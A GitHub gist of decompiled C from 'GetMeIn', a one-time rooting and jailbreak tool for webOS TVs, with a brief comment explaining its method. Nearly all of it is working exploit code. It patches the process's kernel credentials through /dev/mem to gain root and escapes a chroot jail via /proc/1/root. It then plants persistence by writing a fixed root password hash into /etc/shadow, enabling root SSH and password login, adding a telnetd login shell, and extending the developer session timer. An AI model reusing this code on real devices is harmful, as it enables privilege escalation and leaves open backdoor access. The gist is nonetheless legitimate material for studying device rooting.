Skip to content

Instantly share code, notes, and snippets.

@DavidBuchanan314
Last active March 1, 2024 23:58
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save DavidBuchanan314/1d6ae10559c1e3c2c30265857892580b to your computer and use it in GitHub Desktop.
Save DavidBuchanan314/1d6ae10559c1e3c2c30265857892580b to your computer and use it in GitHub Desktop.
/*
Decompiled from GetMeIn: https://forum.xda-developers.com/web-os/general/getmein-one-time-rooting-jailbreaking-t3887904
tl;dr it scans memory for its own `struct cred` in memory, changes its uid/gids to root.
*/
int __fastcall do_the_patching(uint8_t *a1, unsigned __int8 *creds, int a3, unsigned int a4)
{
int i; // [sp+20h] [bp-Ch]
uint8_t *memptr; // [sp+24h] [bp-8h]
for ( i = 0; i + 4 < a4; i += 4 )
{
memptr = &a1[i];
if ( !memcmp(&a1[i], creds, 32)
&& (((creds[35] << 24) | (creds[34] << 16) | (creds[33] << 8) | creds[32]) != ((memptr[35] << 24) | (memptr[34] << 16) | (memptr[33] << 8) | memptr[32])
|| ((creds[39] << 24) | (creds[38] << 16) | (creds[37] << 8) | creds[36]) != ((memptr[39] << 24) | (memptr[38] << 16) | (memptr[37] << 8) | memptr[36])) )// check magics so we don't patch ourselves
{
print_patching_progress(a3 + i, a4);
memset(memptr, 0, 32);
i += 28;
}
}
print_patching_progress(a3 + i, a4);
return 0;
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // r4
void *v4; // r1
void *v5; // r2
void *v6; // r3
void *v7; // r1
void *v8; // r2
void *v9; // r3
void *v10; // r2
void *v11; // r3
void *v12; // r1
void *v13; // r2
void *v14; // r3
int v17; // [sp+1Ch] [bp-70h]
int v18; // [sp+20h] [bp-6Ch]
int memend; // [sp+24h] [bp-68h]
int memstart; // [sp+28h] [bp-64h]
int creds[10]; // [sp+2Ch] [bp-60h]
int stage2_FILE; // [sp+54h] [bp-38h]
unsigned int i; // [sp+58h] [bp-34h]
uint8_t *mapped_buf; // [sp+5Ch] [bp-30h]
void *devmem_fd; // [sp+60h] [bp-2Ch]
const char *proc_iomem; // [sp+64h] [bp-28h]
char *dev_mem; // [sp+68h] [bp-24h]
int uid; // [sp+6Ch] [bp-20h]
int gid; // [sp+70h] [bp-1Ch]
int iomem_FILE; // [sp+74h] [bp-18h]
int v31; // [sp+78h] [bp-14h]
void *length2patch; // [sp+7Ch] [bp-10h]
proc_iomem = "/proc/iomem";
dev_mem = "/dev/mem";
uid = getuid();
gid = getgid();
creds[0] = uid; // real uid
creds[1] = gid; // real gid
creds[2] = uid; // saved uid
creds[3] = gid; // saved gid
creds[4] = uid; // effective uid
creds[5] = gid; // effective gid
creds[6] = uid; // vfs uid
creds[7] = gid; // vfs gid
creds[8] = 0xCABABBE0; // magic0
creds[9] = 0xCAFFEEF1; // magic1
puts(
"---------------------------------------------------------------\n"
" MerrukTechnolog < webOS privelage escalation (www.merruk.com) \n"
"---------------------------------------------------------------");
putchar(0xAu);
fflush(stdout[0]);
if ( uid && gid )
{
if ( check_perms_maybe(dev_mem) )
{
printf((int)"GetMeIn: ");
puts("#* Opening memory device!");
putchar(0xAu);
fflush(stdout[0]);
devmem_fd = (void *)open(dev_mem, (void *)0x1002);// O_RDWR|O_DSYNC
if ( (signed int)devmem_fd < 0 )
{
printf((int)"GetMeIn: ");
puts("#! Cannot read memory device!\n---------------------------------------------------------------");
putchar(0xAu);
fflush(stdout[0]);
return 1;
}
}
printf((int)"GetMeIn: ");
puts("#* Opening memory IO!");
putchar(0xAu);
fflush(stdout[0]);
iomem_FILE = fopen(proc_iomem, &unk_64904);
if ( !iomem_FILE )
{
printf((int)"GetMeIn: ");
puts("#! Cannot read memory IO!\n---------------------------------------------------------------");
putchar(0xAu);
fflush(stdout[0]);
return 1;
}
while ( 1 )
{
v18 = 0;
v17 = 0;
if ( sub_A0AC((int)&v18, (int)&v17, iomem_FILE) == -1 )
break;
v3 = v18 - 1;
*(_BYTE *)(v3 + sub_17F50(v18)) = 0;
if ( sscanf(v18, "%x-%x : \n", &memstart, &memend) != -1 )
{
v31 = sub_17FB0(v18, " : ") + 3;
if ( !sub_17F18(v31, "System RAM") )
{
length2patch = (void *)(memend - memstart + 1);
mapped_buf = (uint8_t *)mmap2(0, length2patch, 3, 1, devmem_fd, memstart);
if ( mapped_buf == (uint8_t *)-1 )
{
printf((int)"GetMeIn: ");
puts("#! Cannot map memory data!\n---------------------------------------------------------------");
putchar(0xAu);
fflush(stdout[0]);
close(devmem_fd, v4, v5, v6);
fclose(iomem_FILE);
return 1;
}
printf((int)"GetMeIn: ");
printf((int)"#* patching user:(%u) group:(%u) in range %x-%x\n", uid, gid, memstart, memend);
putchar(0xAu);
fflush(stdout[0]);
v9 = (void *)do_the_patching(mapped_buf, (unsigned __int8 *)creds, memstart, (unsigned int)length2patch);
if ( v9 )
{
close(devmem_fd, v7, v8, v9);
fclose(iomem_FILE);
return 1;
}
munmap(mapped_buf, length2patch, v8, 0);
}
}
sub_137C4(v18);
}
}
else
{
printf((int)"GetMeIn: ");
puts("#+ We're already root!\n---------------------------------------------------------------");
putchar(0xAu);
fflush(stdout[0]);
}
stage2_FILE = fopen("/tmp/KickstartJB", "w+");
if ( stage2_FILE )
{
for ( i = 0; i < off_F26E4; ++i )
fputc(stage2_ELF[i], stage2_FILE);
fclose(stage2_FILE);
chmod("/tmp/KickstartJB", (void *)0x9ED, v10, v11);
execl((int)"/tmp/KickstartJB", 0);
}
printf((int)"GetMeIn: ");
puts("#+ Done!\n---------------------------------------------------------------");
putchar(0xAu);
fflush(stdout[0]);
close(devmem_fd, v12, v13, v14);
fclose(iomem_FILE);
return 0;
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *v3; // r2
void *v4; // r1
void *v5; // r2
void *v6; // r3
int *v7; // r0
int v9; // r3
int v10; // r3
int v11; // r12
int v12; // r3
int (**i)(); // r4
int (*v14)(); // t1
int v15; // [sp+4h] [bp-78h]
char v16; // [sp+10h] [bp-6Ch]
int v17; // [sp+6Ch] [bp-10h]
char *proc_1_root; // [sp+70h] [bp-Ch]
unsigned int v19; // [sp+74h] [bp-8h]
if ( setuid32(0) )
{
printf("#! Cannot force root programatically.");
putchar(10);
fflush(stdout[0]);
v15 = 1;
}
else
{
setgid32(0);
setresuid32(0);
setresgid32(0);
v17 = 0;
setgroups32((void *)1, &v17, v3, &v17);
proc_1_root = "/proc/1/root"; // the unjailed rootfs
printf("#* Stating the JailBreak.");
putchar(10);
fflush(stdout[0]);
if ( vibe_check((int)proc_1_root) )
{
printf("#+ We can breakout of Jail!");
putchar(10);
fflush(stdout[0]);
v19 = chroot(proc_1_root, v4, v5, v6);
if ( !v19 )
{
printf(
"#+ JailBreak is Done!\n"
"---------------------------------------------------------------\n"
"#* Preparing System ...\n"
"#* Performing System changes...");
putchar(10);
fflush(stdout[0]);
sub_12E80(&v16, 0, 88);
printf("#* Preparing System ...");
putchar(10);
fflush(stdout[0]);
if ( ((int (__fastcall *)(const char *, char *))loc_13DC0)("/media/cryptofs/root/etc", &v16) == -1 )
sub_13ED0("/media/cryptofs/root/etc", 493);
if ( ((int (__fastcall *)(const char *, char *))loc_13DC0)("/home/root/.ssh", &v16) == -1 )
sub_13ED0("/home/root/.ssh", 493);
system((int)"cat /media/developer/.ssh/authorized_keys > /home/root/.ssh/authorized_keys");
system((int)"echo \"RequestTTY yes\" > /home/root/.ssh/config");
system((int)"cp -r /etc/* /media/cryptofs/root/etc");
system((int)"mount -o bind /media/cryptofs/root/etc /etc");
printf("#* Performing System changes...");
putchar(10);
fflush(stdout[0]);
system((int)"sed -i -e 's/root::/root:TvoEhnwGOe6Ik:/g' /etc/shadow");
system((int)"sed -i -e 's/#PermitUserEnvironment no/PermitUserEnvironment yes\\nPasswordAuthentication yes\\nPerm"
"itRootLogin yes/g' /media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service/binaries-armv7"
"1/opt/openssh/etc/ssh/sshd_config");
system((int)"sed -i -e 's/Compression no/Compression yes/g' /media/cryptofs/apps/usr/palm/services/com.palmdts.de"
"vmode.service/binaries-armv71/opt/openssh/etc/ssh/sshd_config");
system((int)"sed -i -e 's:#!/bin/sh:#!/bin/sh\\nmount -o bind /media/cryptofs/root/etc /etc\\ntelnetd -l /sbin/su"
"login \\&\\n:g' /media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service/start-devmode.sh");
system((int)"sed -i -e 's:#${CRYPTO_SSH}/sbin/sshd:${CRYPTO_SSH}/sbin/sshd -o StrictModes=no:g' /media/cryptofs/a"
"pps/usr/palm/services/com.palmdts.devmode.service/start-devmode.sh");
system((int)"sed -i -e 's:${HOST_KEY_DIR}/ssh_host_rsa_key -t:${HOST_KEY_DIR}/ssh_host_rsa_key -D -p ${SSH_PORT}:"
"g' /media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service/start-devmode.sh");
system((int)"sed -i -e 's/ -o PasswordAuthentication=no -o PermitRootLogin=no -o PermitUserEnvironment=yes -o Us"
"eDNS=no \\\\//g' /media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service/start-devmode.sh");
system((int)"sed -i -e 's/ -D -p ${SSH_PORT}//g' /media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.serv"
"ice/start-devmode.sh");
system((int)"sed -i -e 's/ssh_host_rsa_key \\\\/ssh_host_rsa_key -o Compression=yes -o PermitRootLogin=yes -o Pas"
"swordAuthentication=yes -o PermitUserEnvironment=yes -D -p ${SSH_PORT}/g' /media/cryptofs/apps/usr/p"
"alm/services/com.palmdts.devmode.service/start-devmode.sh");
system((int)"sed -i -e 's/9922/22/g' /media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service/start-devmode.sh");
system((int)"sed -i -e 's#echo $resultValidTimeCheck > ${DEVMODE_SERVICE_DIR}/devSessionTime;#echo 49:59:59 > ${D"
"EVMODE_SERVICE_DIR}/devSessionTime;#g' /media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.se"
"rvice/start-devmode.sh");
}
}
else
{
printf("#! We can't Breakout of Jail!\n---------------------------------------------------------------");
putchar(10);
fflush(stdout[0]);
}
printf(
"#+ Worked! root password is : alpine\n"
"#+ Please use your old TV ssh key to connect without password.\n"
"#+ Use SSH or Telnet to connect to your webOS TV\n"
"---------------------------------------------------------------");
putchar(10);
fflush(stdout[0]);
printf("#+ Done! Please restart your System.\n---------------------------------------------------------------");
putchar(10);
fflush(stdout[0]);
if ( system((int)"/bin/sh -i") < 0 )
{
printf("#! Failed to spawn real root shell.");
putchar(10);
fflush(stdout[0]);
v7 = (int *)1;
LABEL_15:
while ( off_809A4 )
{
LABEL_16:
while ( 1 )
{
v7 = off_809A4;
v9 = off_809A4[1];
if ( !v9 )
break;
while ( 1 )
{
v10 = v9 - 1;
v11 = v7[4 * v10 + 2];
v7[1] = v10;
v12 = (int)&v7[4 * v10 + 2];
if ( v11 == 3 )
break;
if ( v11 == 4 )
{
(*(void (__fastcall **)(_DWORD, signed int))(v12 + 4))(*(_DWORD *)(v12 + 8), 1);
goto LABEL_16;
}
if ( v11 != 2 )
goto LABEL_16;
(*(void (__fastcall **)(signed int, _DWORD))(v12 + 4))(1, *(_DWORD *)(v12 + 8));
v7 = off_809A4;
v9 = off_809A4[1];
if ( !v9 )
goto LABEL_21;
}
(*(void (**)(void))(v12 + 4))();
}
LABEL_21:
off_809A4 = (int *)*v7;
if ( !off_809A4 )
goto LABEL_15;
v7 = (int *)sub_E004();
}
for ( i = &off_77FAC; i < (int (**)())&unk_77FB0; v7 = (int *)((int (__fastcall *)(int *))v14)(v7) )
{
v14 = *i;
++i;
}
sub_13BE4(1);
}
v15 = 0;
}
return v15;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment